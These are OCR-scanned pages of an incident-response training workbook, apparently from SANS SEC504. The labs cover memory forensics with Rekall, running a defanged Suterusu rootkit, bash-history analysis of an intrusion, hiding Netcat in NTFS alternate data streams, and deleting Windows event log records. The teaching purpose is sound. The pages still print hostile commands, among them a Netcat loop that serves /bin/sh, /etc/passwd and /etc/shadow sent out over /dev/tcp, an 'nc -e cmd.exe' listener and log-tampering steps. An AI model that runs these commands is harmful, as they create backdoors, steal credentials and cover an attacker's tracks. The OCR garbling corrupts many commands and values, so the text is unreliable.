\Windows\system3d2\kernel3Z.dll
\Windows\system32\KERNELBASE.d1l
\Windows\system32\MSVCRT.d11l
\Windows\system32\ADVAPI32.dl1
:\Windows\SYSTEM32\sechost.dll
\Windows\system32\RPCRT4.dl1

Ox6£290000 0x7000 65535 :\Windows\system32\WSOCK32.d11
0x772d0000 0z35000 65535 A\Windows\system32\Ws2_32.d11
0x76470000 0x6000 65535 A\Windows\system32\N5I.d11l

! _ 0x75ck0000 Ox4c00D 65525
[ 0x739c0000  0x218000 65535
5 0x75c50000 0x1L000 7

ST 0x77aa0000 0x57000 34
0x761d0000 0x4e000 115
0x76220000 0xc9000 139
0x77daf0o0 0xzal00 17
0x765¢0000 0x94000 17
uTEeAAEO00 Ok 000 6
0x74090000 0x32000 13
0x743d0000 OxF000 &

\Windows\system32\apphelp.dll
:\Windows\AppPatch\AcGenral.DLL
;\Windows\system32\SspiCli,dll
AWindows\system32\SHLWAPT.d11
\Windows\system32\GDI32.d11l
\Windows\system32\USER32.d1l1l
\Windows\system3Z\LPK.dl1l
ANWindowsh\system3Z \UsSP10.dll
A\Windows\systemM32\UxTheme , dl11
s \Windows\system32\WINMM.d11
\Windows\system32\samcli.dll

a0 o000 a00e o000 ao00ano

Run this command for each of the pracesses we have in our Process Table. Look for the - Command ii_'n'é' .
indication for each running process, and place this infermation in your process table notes.

You do not have to enter this command, this is only provided for reference.
For Quest‘ron 5 the rough equn/a ent of this command ona five Wmdows machine is!

C \> wmic process where pro e531d [pld] get commandllne

C \> tasklist /m /fi "pld eq [pid]":

With the information we have gathered let's take a look at what the netwark activity side of this looks like.

T
P

~
o
-




Asyou cansee  svchost.exe ' is talking to Google. Let's run pstree and pay attention to the Parent ID to see
what's associated with it.
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o . { ] 504 full pivot.dmp 17:30:42> pstree
. e » pstree()
_ _ EPROCESS ppid  thd count hnd_count
.‘.} : create_time
§¥BGIcdl30 csrss,exe (B36) 3352 11 308 2017-04-24
19:25:39Z
0287230030 conhost.exe (2132) 836 1 33 2017-04-24
20:16:502
0x86chcl30 conhost.exe {2652) 836 2 47 2017-04-24
20:20:03Z2
0x86ebdd40 conhost.exe (3396) 836 2 52 2017-04-24
20:22:28%
B 0x8597cd40 winlogon.exe (2944) 3352 5 113 2017-04-24
19:25:392
0xBdfda7el System (4) 0 94 572 2017-04-24
19:21:482
O 0x863a3d40 smss.exe (260) 4 3 29 2017-04-24
! 19:21:48%
0x86b089d0 csrss,exe (352) 336 9 497 2017-04-24
19:21:482
0x86aBd978 wininit.exe (404) 336 3 74 2017-04-24
19:21:48%2
OxB86ch55b0 services.exe (476) 464 11 217 2017-04-24
18:21:452
.. 0x86d%e030 msdtc.exe (368) 476 12 144 2017-04-24
i i 15:21:542
o f .. 0x85b5c030 svchost.exe (608) 4786 5 324 2017-04-24
4 R ) R FE s,
.. 0x86dc9bd0 svchost.exe (632) 476 11 360 2017-04-24
19:21:502
... 0xB6d19030 WmiPrvsSE.exe (1200) 632 10 195 2017-04-24
19:21: 542 _
... 0xB72bd030 WmiPrvSE.exe (3112) 632 8 202 2017-04-24
: 19:22:13%2
e : .. 0x86del3030 vmacthlp,exe (696) 476 3 53 2017-04-24
2 : 19:21:502
o .. Ox86dfb390 svchost.exe (728) 47§ 8 281 2017-04-24
; 19:21:502
: .. 0xB8620d940 svchost.exe (776) 476 22 549 2017-04-24
' 19:21:508
. ... 0x85812030 audiodg.exe (1292) 776 [ 126 2017-04-24
PR 20:22:26%
P . 0x85aaldd( explorer.exe (3632) 1282 29 864 2017-04-24
19:25:48%2
..... 0x85a56160 vmtoolsd.exe (BLG) 3632 6 174 2017-04-24
19:25:49%2
..... 0x872blccl} cmd.exe (2104) 3632 1 22 2017-04-24
P 20:22:28%
B . 0xB8623c2b8 winpmem 1.6.0, (3824} 2104 1 21 2017-04-24
o
LoD




20:23:172

..... 0x850ec3b8 FlashUpdate.ex (2440) 3632 5 170 2017-04-24
20:15:58%
...... O0x8504£d40 cmd.exe {1132) 2440 1 26 2017-04-24
20:20:032
...... 0x87163970 cscript.exe (2624) 2440 6 190 2017-04-24
20:16:50%
....... OxB6eb2cB8 bFLaDILLSOWzZHW (752) 2624 3 120 2017-04-24
20:16:50%

Now we see the | metsvc.exe | inthe process tree. Next we will run = d11list againstit.

[ 1 504 _full Pivot.dmp 17:31:24> dlllist 1492
——————————————————————————————— > dlllist{1492)
base size reason dll path

etsvc.exe pid: 1452
Cannand line : -
Out<i7:31:24> Plugin: dillist {winDllList)

results.
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[ 1 504 _full Pivot.dmp 17:32:28> netscan

svcheost. exe

offset protocol
owner created
0x86d40d060 TCPv4
System -
0x86daZzbe0d TCPv4
lsass.exe -
0x86e02630 TCPv4
svchost.exe -
0x86e02630 TCPv6
svchost.exe -
0x86e03518 TCPv4
svchost.exe -
0x86e08640 TCPEv4
wininit.exe -
0x86e0a590 TCPv4
wininit.exe -
OxB6elab90 TCPvE
wininit.exe -
Ox86elfal30 TCPv4
svchost.exe -
0x86e20330 TCPvV4
svchost.exe -
0x86e20330 TCPvVE
svchost.exe -
0x86ee9290 TCPv4
evehostiexe L
OxBéecaetl TCPv4
svchost.exe -
Ox86ecaetl TCPVE
svchost.exe -
0x86f28b48 TCPvd
1482 metsve. axe
0x86f£9d148 TCPv4

it looks as though this system was already compromised!

local_ addr
162,168.192.153:139
0.0.0.0:48157

0.0.0.0:135

0.0.0.0:135
0.0.0.0:49152
0.0.0.0:148152
1::49152
0.0.0.0:49153
0.0.0.0:49153
£::49153
0.0.0.0:49154
0.0.0.0:49154
t:149154
0.0.0.0:31337

0.0.0.0:49156

» netscan()

remote addtc

0.0.0.0:0

¢.0.0.0:0

Now let's look at a diagram of the process on how this happened.

state pid
LISTENIWG 4
LISTENING 484
LISTENING 728
LISTEWNING 128
LISTENING 728
LISTENING 404
LISTENING 404
LISTENING 404
LISTEMNING 776
LISTENING 778
LISTENING 776
LISTENING 820
LISTENING 820
LISTENING 920
LIBTENING
LISTENING 2028




(Explorer.exe) 3632

(metsve.exe) 140
- (SMB Share) Previous Exploit

Why This Lab Is Important

There are many types of investigations where a memory dump is the only reasonable way to discover what's
actually happening. Soon, we'll be covering rootkits. They are incredibly scary and very powerful, Remember, no
matter how good the attacker is, their code must run in memory. There will be a digital footprint. It's up to you
to detect them,

Bonus (If Time Permits or Homework)

Investigate how you can automate the analysis of memory dumps using Rekall (hitpi/sweb.rekail-

innovations.com/docs/Manual/tutorial htmi#_automating_rekall)

There are multiple Faster eggs in this lab. See if you can find some of them. Hint: Scan for open files.

Additional Resources

Related SANS classes

FORS08:; Advanced Incident Response, Threat Hunting, and Digital Forensics thitpsy/iwww.sans.org/course/zdvanced-

incidentresponse-thraat-huntng-training)
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Brief Intro

In this lab you'll get to use and set up a very specially configured (and de-fanged) rootkit based on the Linux
kernel-mode rootkit Suterusu. Lawrence Hoffman from Black Hills InfoSec has specially modified it so it's
relatively safe to work with. Follow along with the lab to watch the rootkit hide itself!

Requirements for This Lab

In this lab you will use your Slingshot Linux VM. Make sure the VM is running before continuing with the lab
exercise.

Try It Yourself
Use the Suterusu rootkit to create elevated privilege and hide the processes and ports it uses.

Walkthrough

Starting Suterusu

First we'll start the rootkit and check to see if it is listed among other kernel modules.

Navigate to the * /home/sec504/tocls/suterusu  as shown here:

sec504@slingshet:~% od /home/secbli/tools /suterusa/
sec504@slingshot:~/tools/suterusu$

Next, load the Suterusu kernel module:

Copyrig 310, fonnun Wright and Miks
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secaxl4@slingshot:~/tools/suterusu$ sude inszmod suterusu.ko
[sudo] password for sec504: secb04

Now, let's look to see if the module is listed:

secb04@slingshot:~/tools/suterusus lsmod
Module Size Used by
vmwW_vsock vmci_transport 28672 1
vsock 36864 2 vmw_vsock vmei transport
vmw balloon 20480 0
snd_ensl1371 28672 4
omitred for space
psmouse 131072 0O
syscopyarea 16384 1 drm_kms helper
sysfillrect 16384 1 drm kms_helper
sysimgblt 16384 1 drm kms helper
fb_sys fops 16384 1 drm kms_helper
nptspi 24576 2
elQ00 135168 0
mptscsih 40260 1 mptspi
mptbase 102400 2 mptspi,mptscsih
scsl_transport spi 32768 1 mptspi
drm 364544 6 ttm, drm kms helper, vmwgfx
pata_acpi 16384 0
fies 28672 0 i
sec5048slingshot:~/tools/suterusn$ lsmod | grep suterusu g
sec504€slingshot:~/tools/suterusus :

conspicuously absent. This is because the kernel module intercepts attempts to discover its presence, removing
itself from the output

Accessing the Rootkit and Becoming Root

The sock program is the client for Suterusu. It can be accessed remotely by having a Netcat listener feed
commands to it, or it can be run locally, For this lab, we will be running it locally.

Usethe : sock command to gain root access through the rootkit, as shown:
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sec504@slingshot:~/tools/suterusud ./sock 0
Dropping to root shell
#

that by running a few commands to confirm:

s lid
@ i whoami

@ pwd

# ik

uid=0{root) gid=0{root} groups=0{roct)
# whoami

root

# pwd

/home/sec504/tools/suterusu

# exit
sec504@8slingshot:~/tools/suterusuf

Creating and Hiding a Directory

Now we are going to create and hide a directory with Suterusu. First, create the directory to hide from your
root-privileged | sock = session:

# mkdir HIDEME

1, Joshua Welghy and Mike Bury, AR




sec504@slingshot:~% cd tools/suterusu/

sec504@slingshot: ~/tools/suterusus is

common.h keylogger.c Makefile README.md suterusu.ko util.o
dlexec.c keylog.h module.c serve.c suterusu.mod.c¢

HIDEME, LICENSE module. o sock suterusu,med. o
hookrw.c main.c modules.order sock.c syuterusu,. o

lcmp.c main.o Module.symvers suterusu util.c

The - wrpmMm . directory is in the middle of the first column in this example. Depending on your terminal size, it

may be in a different focation on your system,

shown here:

sech048slingshot:~/tools/suterusus ./sock 131 HIDEME
Hiding file/dir HIDEME

Verifying the Hidden Directory

Return to the second terminal window and run the | 1s * command again:

sec504@slingshot: ~/tools/sutarusus le

common. h keylog.h module.c serve.c suterusu.mod.c
dlexec.c LICENSE modale. o sock sutrerusu.mod. o
hookrw.c main.c modules, order sock.c suterusu.o
icmp.c main.o Module.symvers suterusu util.c
keylogger.c Makefile README.md suterusu.ke util.o
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Here we see that the . w1oEME | directory is now missing from the is - output, suppressed by the rootkit.

Hiding a Listening Port

Now we are going to hide a Netcat UDP listener on port 1337. To do this, we need to start the fistener and then
tellthe sock  client to hide that specific port.

First, start the Netcat listener as a background task by adding the ampersand ( ‘& )tothe end of the
command line:

sech04@slingshot:~/tools/suterusu$ ne ~lu -p 1337 &
[11 B968

The & at the end is critical so we can get our shell back to keep working in the termingl.

Next, tell the rootkit ta hide the part:

" sec504@8slingshot:~/tools/suterusud . fsock 7 1337
Hiding UDPwvd port 1337

This will tell the rootkit to hide UDP port 1337 from some Linux utilities,

Verifying the Hidden Port

Open a new terminal. Access the root account with the sudo ': utility:

sec504@slingshot:~$ sude su ~
[sudo] password for sec504: secb04
rootlslingshot:~#

Conyrigh




Petermine if you can detect the listening UDP port using the _ lsof - utility, as shown:

roct@slingshot:~# lgsof =i ~P | grep 1337
root@slingshot:~#

Now, let's try Netstat. Itis always a good idea to get a second opinion!

root@slingshot:~4 netstat -nao | grep 1337
root@slingshot:~#

The rootkit suppresses the presence of the listener on UDP port 1337,

We can still find the Netcat listener if we look at the processes instead. In this situation, we will be looking for
the port string (1337). We could've also looked for the string "nc”, however, that returns a lot of results and is
kind of messy.

Let's catch the process. Runthe . ps  command as shown here;

root@slingshoti~# ps aux } grep 1337

sech04 8968 0.0 0.0 6496 1776 pts/l S 12:21 0:00 nc -1u -p 1337
sec504 3067 0.0 0.0 14224 924 pts/1 S+ 1Z2:3¢6 0:00 grep --color=auto
1337

root@slingshot: ~#

Note that your output will look slightly different than the example shown here,

This is getting a bit contrived because as an investigator you would have to know exactly what to look for. But, it

does show that these things can be detected.

Hiding a Process
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Next, let's make the process disappear.

Return to the terminal window where you: ran the - sock . command. |dentify the process ID for the | nc
listener you opened earlier in this lab using the - ps  command:

sec504@slingshot:~/tools/suterusu$ ps aux | grep 1337

sech04 8968 0.0 0.0 6496 1776 pts/i 5 12:21 0:00 nc -lu -p 1337
sec504 9081 0.0 0.0 14224 972 pts/1l S+ 12:38 0:00 grep --color=auto
1337

The first line of output from the © ps © command shows the | ne ~ process. The second column shows the
process ID. In this example, the process ID for the  ne ~ listener is 8968.

Identify the process 1D for your | nc * listener, Note that the process ID will be different than the example shown
here.

sec504@slingshoti~/tools/suterusu$ . /sock 1 8968
Hiding PID 8968

Return to the second terminal. Runthe ps = command to find the ' nc © process again (since it was the last
command you ran in this terminal, you can press the up arrow to recall the command, then press Enter).

- sec504@slingshot:~/tools/suterusu$ ps aux | grep 1337
sec504 9158 0.0 0.0 14224 916 pts/1 S+ 12:45 0:00 grep --color=auto
1337

Note that here, the presence of the ac - process is suppressed from the process list.

Cleanup

Now, let's take a few moments and reboot our systems. This rootkit is not persistent through a reboot:

tmsorvad s




sec504@slingshot:~$ sude su -
[sudo] password for sech04:
root@slingshot:~#
root@slingshot:~# shutdown -r now

Why This Lab Is Important

Please take a moment and consider how easy this rootkit is to use and manage. Understand that this is not an
outlier - many rootkits are actually easier to use! For instance, most of the stealthy features would be
automatically done for the attacker,

Bonus (If Time Permits or Homework)

Find and experiment with other rootkit tools. Many security researchers use the great work done at Contagio
thetp://contagiodurmp.bisgspot.com/) , These are the most powerful tools defenders need to detect and respond to.
Download the sample sets and see if you're up to the challenge the real attackers are doing,

Additional Resources

Caution: This is a very active and deep area of research. This could be a denial of service on your time!

*  hitpsy/zeltser.com/malware-sample-sources/ thips/izeltser com/malware-sample-sources/)
«  http//www.openrce.org/downloads/ {http/Awww.openrce org/downloads/s
*  hitpsi/Awww.exploit-dib.com/ (htpsiiwww.exploit-db.com
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Brief Intro

An attacker may leave traces that we can Use to see what they've been up to. In this lab, we'll follow the shell
history of an attacker to see what they've been doing with one of our systems, and to determine the next steps
we should take in our investigation.

Requirements for This Lab

In this fab you will use your Slingshot Linux VM. Make sure the VM is running before continuing with the lab
exercise,

Try It Yourself

Review the shell history in ! /home/tools/hlstory exerr_‘lse/ bash hlstory " and determine what happened.

Document the cormmands used in your workbook, on a scrap plece of paper, or in your favorite editor,

Walkthrough

Analyzing a Shell History File

For this lab, we will analyze a - .bash hlstory file from a compromised machine. This file was retrieved from

the /root " directoryona compromlsed Linux systern.

A copy of this h|story file is located on the course USB in the Linux directory. It is also located in

/home/tools/hlstory exerCLSe/ bash hlstory

In this lab, you will analyze the file to determine the attacker's moves, Identify the artifacts the attacker left on
the machine, and ascertain which other machines and accounts the attacker might have compromised.

To achieve these goals, you'll need to open the .bashihis.fory file in a text editor, such as gedit. Then,
follow along with the pages of this book, writing in your analysis of each command typed by the attacker.

aarvnd
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In this attack, the bad guy might have used a mixture of techniques you are familiar with, as welf as technigues
you haven't yet seen. For any commands you are unfamiliar with, feel free to experiment with those commands
on the course VMware Linux image to get a better feel for what the attacker is doing. Of course, in a real case,
you would only execute such commands for experimental purposes on a lab machine, not the actual machine
associated with the investigation,

After completing your analysis, this book includes a deseription of each command used by the attacker, along
with the reason the attacker likely used it. If you get stuck, feel free to fiip ahead in the book to these answers
for information and inspiration.

Initial Action on the System

Begin by opening the history file in your favorite Linux text editor, such as | gedit

secb504@slingshot:~5 gadit /home/tcols/histcrywexercise/.bash__histcnry

Let's look at the first five commands in the file:

o unoani |

¢ ia

. i unﬁame ;5 
. . uname wai
- nc

Write your analysis of why the attacker executed each command and what it might tell us about the attacker. |f
you aren't familiar with the command used, read the manual page for the command by running
man | command | at a terminal prompt.

Filesystem Inferactions

Continue your analysis by indicating the purpose of each of the following commands:

e mkdir /etc/initd

. cd /etc/inifa.

. wget lo.ib?ié.ié/kit.tgz_
. :Vtar vai.k1E:£§z

* . mv nc init
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Be sure to not only say what the command does, but what they might tell us about the attacker.

Launching Processes (Part 1)

Next, the attacker appears to be launching some processes:

® ! eche "while :; do echo "Started"; /etc/initd/init -1 -p 8080 -e /bin/sh; done™ >

® nohup 1n1t conf &

2 .nohup . /init.conf &

. 'gmﬁaasf,s;g;t conf

& : nohup ./1n1t.conf &
- s | lsof -Pi | grep 8080

Please describe the likely intention of the attacker for each of these commands.

Launching Processes (Pari 2)

Here is the last set of commands typed by the attacker:

- ° .cat /etc/passwd > /dev/tcp/lO 10 10 18/443_
{,i} s écat /etc/shadow > /dev/tcp/lG 10 10 18/443_
T e ﬁ./tcpdump -n -s0 -w init.out port LR
; e é.v1 /Qéf/log/ﬁessages
; ® netstat ~nat;
5 ¢ ssh tom@10.11.12.15 |
| o emt!

Feel free to try these commands on your own Linux virtual machine if you need some heip understanding them in
more detail. Remember to use the man poge for - tepdump + ond other commands for additional information

about how the attacker is using them.

Some Additional Questions

Sy And finally, here are some additional questions for you to answer about the evidence we have in this case from
e the .bash_history file:

»  Was the attacker a human or a script? What makes you believe this?

Copyright €




»  What specific files should the investigator look for?
« What other systems has the attacker likely compromised?

Potential Answers (Part 1)

Here are some potential answers for this lab. It should be noted that you might have indicated some other very
valid reasons for the attacker executing each command. The following answers are based on very common
reasons for attackers' actions, but they do not cover every possible explanation:

machine. In partlcular, the attacker might be looking to see whether he or she has root privileges.

. id  -The attacker now wants more details about the id number and groups associated with the current
account,

machine is running, Thrs information might be useful in further exp]omng the system, or in getting an idea of
the types of Linux machines the target organization is using. Unfortunately, the attacker mistyped this
command, spelling it - vonane instead of | uname.

- uname -a | - Here, the attacker reruns the previously mistyped command, indicating that he is most i ikely a
person and not a script,

- nc - Finally, the attacker checks to see whether Netcat is installed in the path for this account. Note that the
attacker might have followed up the invocation of Netcat by typing in a specific set of command flags to make it
do something. However, that is unlikely, given the next set of commands.

Potential Answers (Part 2)

. mkdlr /etc/lnltd | - Here, the attacker makes a directory to use as a base of operations, placing it in an
area of the system where it might blend in with other critical system files.

cd Jete/initd : = The attacker now changes into the directory he or she created.

a fite from machine 10.10.10.18. This flle called  xit.tgz, rmght |nciude malware or other files the attacker
intends to use on the system. We get a feel for its contents soon and throughout the rest of the attack. it is
likely that the attacker has compromised machine 10.10.10.18 and is using it as a repository for attack tools.

tar xfvz kit. tgz : - The attacker now unarchives the contents of the attack Kit,
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nv nc init @ ~ It appears that the attack kit includes a copy of Netcat, which the attacker now moves to a file
called | init. ' The attacker has given Netcat this name so that it will blend in with the init daemen running on

the machine.

Potential Answers (Part 3)

“ééhh“;hhiié‘:, do echo Started /Etcflnltd/lnlt —l P 8080 -a /bln/sh, done" > 1n1t conf E—
Here, the attacker is “creatmg a S|mple scrlpt inafile called : init. .cont |. This script includes a whlle “loop,
which prints out the term Storted at each iteration through the Ioop, and invokes Netcat (called : mlt } so that
it will listen on TCP port 8080 and execute a backdoor shell when someone connects. The attacker i is creatlng a

persistent backdoor listener.

: nohup init. conf & ' ~The attacker attempts to run the backdeor using the nohup . command in the
background (. =& )so that he or she can log off the system and keep the backdoor running. However, the
command must have failed, because he or she tries again.

nohup . /init. conf 5 - The attacker forgot to provide a path for nohup tofind | 1nit.coh£”_, so he or

chmod 555 init.conf | - Now, the attacker changes the permissions on the | init.conf | " file so that it is
readable and executable for its owner, its group, and everyone on the box. The nonup | command must have
previously complained that the permissions of the lnlt conf | file did not allow it to be executed.

;.hhhtllp ./init.conf & - Finally, the attacker invekes the backdoor successfully.
: lsof -Pi | grep 8080 ; - Now, the attacker verifies that the backdoor is listening on port 8080 by runnmg
the ..lsof command to check network port usage (- -1 ) but listing port numbers, not service names (. -

P )

Potential Answers (Part 4}

cat /etc/passwd > /dev/tcp/lG lO 10. 18/443 and cat /etc/shadow > /dev/tcp/lo 10 10. 18/4&3 S -

Here, the attacker sends contents of the | /etc/passwd : and : /etc/shadow | files to another system via the

" jdev/top | fadility. By dumping the contents of a file into /dev/tcp/IPaddr/portnum , Linux systems will
rnake a connection to the remote machine and push it a file. This convenient capability offers the attacker the
ability to move files without using Netcat on the compromised machine. You can experiment with this capability
by setting up Netcat to listen on TCP port 443 on your Linux or Windows machine, and then use : /dev/tcp 'Q
on your Linux system to send the file. Note that the attacker is using TCP port 443 to blend in Wlth HTTPS traffic
(although & sdev/tep - will not encrypt the traffic),

L/tepdump —n =80 —w init.out port 80 & - Here, the attacker runs the tcpdump sniffer, which must have
been included in the kit file given the invocation with a ./. The attacker used -sC to set a snaplength of zero in
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tepdump to capture the entire contents of packets and not just the first 68 bytes. Also, the attacker focuses on
traffic associated with port 80, possibly loaking for web traffic with cleartext user|Ds and passwords or
harvestable cookies.

netstat -nat - The attacker looks for TCP port activity, possibly Tocusing on open estahlished connections
from this victim machine to other systems an the network.

in the output of netstat, so decided to try tc make this new connection.

exit | - Finally, the attacker ends his session,

Some Additional Answers

For these final questions, we can deduce the following information from the shell history file:

* The attacker was likely a human, given that he or she invoked some commands with typos {: unname yand

a command, read an error massage, and then vary their syntax, but human attackers often do this.

« The attacker relied on the files . ki{:l;.t';é.;.- ., init . (likely a renamed Netcat), 1r11t _cont {a backdoor-
inveking script), and init.out ','the sniffer's'output. ' ‘

» The attacker likely had alréa'dyébmpromised 10.10.10.18 and was using it both as a place to distribute
malware from and as a repository for stolen password and shadow files. The attacker might have also

compromised 10.11.12,15 because he or she attempted to 5SH to it via the tom account.

Why This Lab Is Important

Being able to read clues and track back what attackers were doing is a key skill for incident responders to have.

Bonus (If Time Permits or Homework)

Read this blog posting on Bash History Forensics (hitp:/diirdave.blogspot.com/2014/09/bash-history-forensics. htmi)

Additional Resources

Bash Pockel Reference: Help for Power Users and Sys Admins, Znd Edition
(hitp://shop.oreilly.com/product/0636920046288.do)
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Brief Intro

Alternate data streams are a part of the NTFS specification. They are very interesting bits of data attached to a
carrier file.

Requirements for This Lab

fn this lab you wilt use your Windows 10 VM. Make sure the VM is running before continuing with the fab
exercise.

Try It Yourself

Create an alternate data stream. Be sure to create a standard flle, and an executable. Run the executable from
the alternate data stream directly.

Walkthrough

Creating Alternate Data Streams

In this lab you will create alternate data streams on Windows, if it's not already running, start your Windows VM
and open a Command Prompt,

Next, make a temporary directory on your hard drive:

C:\Users\Sec504> ed\

C:\> mkdix C:\tmp

Create afile called = test.txt | inyour new directory using Notepad. Type any text (such as helfol) in the file.
Save and exit Notepad.
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Ci\»notepad C:\tmp\test.txt

Now, use Notepad to create an alternate data stream associated with the file. Run : né.t.e.pad “in the example
shown here, typing any text (such as This is hidden text) in the file. Save and exit Notepad.

C:\> notepad c:\tmp\test. txt:hideme.txt

Looking for the Alternate Data Stream

Now that we've created an alternate data stream, let's look to see whether we can locate it using the tools built
into Windows. First, try looking for it with the © air command:

Ci\» dir c:\tmp
vVolume in drive C has no label.
Volume Serial Number 1s FR12-EC34

Directory of c:\tmp

03/20/2018 11:32 AM <DIR>
03/20/201% 11:32 AM <DIR> .
03/20/2019 11:32 aM 6 test.txt

1 File(s} €& bytes

2 Dirf(s)  4,790,476,800 bytes frse

Mow, start Windows File Explorer as shown below. Look at * c:vemp - and © c: l\‘tfn?l\.f;i.éé_t._;-_;:..}.(.t:.. . Do you see
any evidence of the hidden file?

Ci\> sxplorer o:i\tmp

Finally, verify that the hidden file is still present by typing the foliowing:
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C:\> notepad c:\tmp\test.txt:hideme.txt

You must type the full path to test.txt as shown in this example!

Do you see the alternate data stream?

Execuiables in Alternate Data Streams

We can put an executable inside an alternate data stream next. To create a copy of © Netcat ~ behind an
alternate data stream, type the following:

You must type in the full path as shown in this examplel

Note that any type of file can be hidden behind any other type of file. We just hid an executable behind a text file.

Look for the Netcat file, just like we did before (Using ~ dir ! and | explorer.exe ). Seeit?

C:\>dir c:\tmp
Volume in drive C has no label,
Volume Serial Number is FALZ-EC34

Directory of c:\tmp
03/20/201% 11:32 &M <DIR>

03/20/2019 11:32 AM <DIR> ..
03/20/2019 11:35 AM 6 test.txt

1 File(s) & bytes
2 Dir{s) 4,790,415,360 bytes free
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Bun an ADS-Hidden Executable

Next, run this copy of Netcat directly from the alternate data stream.

windows doesn't allow you to run a program from within an ADS stream.using the | start
Instead, launch the hidden Netcat binary using - wmic |, as shown here: :

C:\> wmisc process call create ¢:\tmpl\test.ixt:ne.exe
Executing (Win32_Process)->Create()
Method execution sucessful.
Out Parameters:
instance of _ PARAMETERS
{
Returnvalue = 9;
}i

You will see a Netcat command windoew launch, such as the example shown here,

HE cMtmpitest tetne.exe - m] X

Type in a Netcat command line, such as:

Cmd line:=1 =p 2222 -a cmd.exe

€]

- command.




Next, right-click on an empty location of your task bar and click on Task Manager, as shown here.

Examine the Task Manager Process tab list, What does the Netcat fistener look like in the Pracess tab?
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Close the Task Manager window. Return to the Netcat listener window and stop it by pressing CTRL+C.

Using LADS

For detection of alternate data streams, we use the LADS tool.

Now, run the following command (with the appropriate path to the LADS tool):




C:\>» ei\tools\lads\lads /¢ o:\tmp

LADS - Freeware wversion 3.21

{C) Copywright 1988-2003 Frank Heyne Software {http://www.heysoft.de)
This program lists files with alternate data streams (ADS)

Use LADS on your own risk!

Scanning directory ¢:\tmp\ with subdirectories

size BRDS in file
i9 cri\tmp\test. txt:hideme. txt
59392 c:\tmp\test, txtinc.exe

59411 bytes in 2 ADS listed

Note the alternate data streams identified with LADS.
Question: What daes the /5 flag do? What happens if you omit it?

You can also spot ADS data from the cormmand line using Cdir /r Run the following command to observe
the ADS data:

i
3

Ci\>» dir [fr /5 e:\twp
Volume in drive C has no label.
Volume Serial Number is FAL2-EC34

Directory of c:\tmp

03/20/2019 11:32 BAM <DIR>
03/20/201% 11:32 AM <DIR> .
G3/20/2012 11:35 aM 6 test.txt
19 test.txt:hideme.txt:SDATA
59,392 test.txt:inc.exe:SDATA
1 File(s) 5 bytes

Total Files Listed:
1 File{s) 6 bytes
2 Dir{s} 4,790,415, 360 bytes free
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Clean Up

Next, we remove the alternate data streams we created to clean up after this lab. Unfortunately, there is no
built-in tool for alternate data stream deletion. Instead, we just delete the temporary directory (0 c:\tmg )

itself, which will remove all alternate data streams. Type:

c:\> dal c:\tmp
R : c:\tmp\*, Bre you sure (¥/N}? Y

Now, double-check that the directory was deleted by typing:

Cixdir c:\tmp
Volume in drive € has no label.
Volume Serial Number is FAlZ2-EC34

Directory of C:\tmp

03/20/2019 11:32 M <DIR>
03/20/2019 11:32 AM <DIR> .
0 File{s) 0 bytes
2 Dir{s} 4,790,476,800 bytes free

Why This Lab Is Important

If you don't know about alternate data streams, it's likely there are covert data transfers happening right under
your very nose!l A commaon theme to this class is that attackers will take better knowledge on how your systems
work and use it against you. You now know about alternate data streams... start looking for them as part of

your investigative process!

Bonus (If Time Permits or Homework)

Try using PowerShell's - Get-Ttem - cmdlet to find alternate data streams. You can use it like so:

© DS:> Get-Item -Path [Your file with ADS] -Stream *

Consider writing your own little PowerShell script that replicates the functionality of lads.exe with

matching command-fine arguments and output.

]
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Additional Resources

Microsoft Blog Article on Alternate Data Streams (hips:/blogs.technet.microsoft.com/askcora/2013/03/24/alternate-data-

streams-in-ntfsf
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Brief Intro

Contrary to popular belief, Windows logging is vulnerable to attack. In this lab we're going to attack the event
log in Windows!

Requirements for This Lab

In this lab you will use your Windows 10 VM. Make sure the VM is running before continuing with the Jab
exercise.

Try It Yourself

Playing the role of an attacker, generate a Windows event log entry and then remove it using the

C:\Tools\DeleteRecordofFileEx.exe | Utility. As a defender, analyze the Windows event logs to identify
evidence of tampering.

Walkthrough

Log Editing

In this lab we are going to walk through how an attacker can selectively remove event logs from a Windows 10
systern. This is important because it gives an attacker the capability to cover their tracks following an attack.

First you will generate a failed password authentication attempt using the runas  command, observing the
event with Event Viewer, Next you will remove that event from the Windows event log. Finally you will observe
the removed event, but also investigate further to identify indicators of Windows event log tampering.

Open an Administrator Command Prompl

From your Windows VM, open a Command Prompt as an Administrator: Click Start, then right-click on the
Command Prompt icon, then click More | Run as administrator.

Generating a Failed Login Event (Attacker)
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Run the foltowing command to generate a failed login security event. Please enter a random string of
characters when prompted for a password.

C:\Users\Sec504> runas /user:lecalhosti\administratcer omd.exe
Enter the password for localhost\administrator: badpassword
Attempting to start cmd.exe as user "localhost\administrater™
RUNAS ERROR: Unable tc run - cnd.exe

1326: The user name or password is incorrect.

Keep the Administator Command Prompt open. You will continue to use it throughout this lab.

Open Event Viewer

Next, examine the failed login event in Event Viewer. To start Event Viewer, press the Windows key while logged

in to your class Windows 10 system and type * event viewer .. This will search for the Event Viewer
application. Click to open the Event Viewer application,
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2 event viewel

From Event Viewer, click to expand the Windows Logs group. Click to select the Security Logs. Scroll to observe
the failed login attempt with the event ID 4625, as shown here.
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Examine the Failed Logon Event

Examine the selected failed login attempt information for the 4625 event ID. Note the following Important
information:

*  Which user account atternpted to and failed to log in?
*  What was the target account name for the failed login?
*  Was the failed login for a local or a domain account?

= Why did the login fail?

This information is captured in the selected event General tab, as shown here,

Event 4623

Micresoft Windows security auditing.

i General | Datails

An acoonnt fated to log on,
" {subject: C : '
Security 1D: : SECS045TUDENT S 20 504
Account Mame: Secsid
&ccount Domain: - SECS04STUDENT
Logon g Cnd3TEE
Logon Type: 2
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Event 4623, Microseft Windows security auditing,

! " General  Peta
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“Sub Stetusm GKCGE’X}E%Q 3

Mote Failed Login Event Time

Identify the date and time for the failed login attempt for later analysis.

Use a scrap piece of paper or your favorite editor to write this down! You will refer to it later in the lab.

identify the Failed Logon EventRecordiD

Every event in Event Viewer has an EventRecordID value. The Microsoft documentation (https:/docs microsoft.com/en-

ushwindows/desitop/wes/eventschema-eventrecordid-systempropertiestype-element) Indicates that this value is assigned to an

event when it is logged. In practice, it is a sequential, positively incrementing value.

o To delete the logging entry, you must identify the EventRecordID for the failed logon event. From Event Viewer,

the selected event. 'Ah'éx'amp'!e is shown below.
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Note that your EventRecordiD will be different than the example shown here!

Close Event Viewer

Close the Event Viewer application to continue with the attacker steps.

Delete the Logon Event Log Entry

in the previous step as the last argument {instead of the example befow of 7464),

C:I\WINDOWS\system32> ¢:\tools\DeleteRecordofFileEx.exe Security. evtx 7464 x
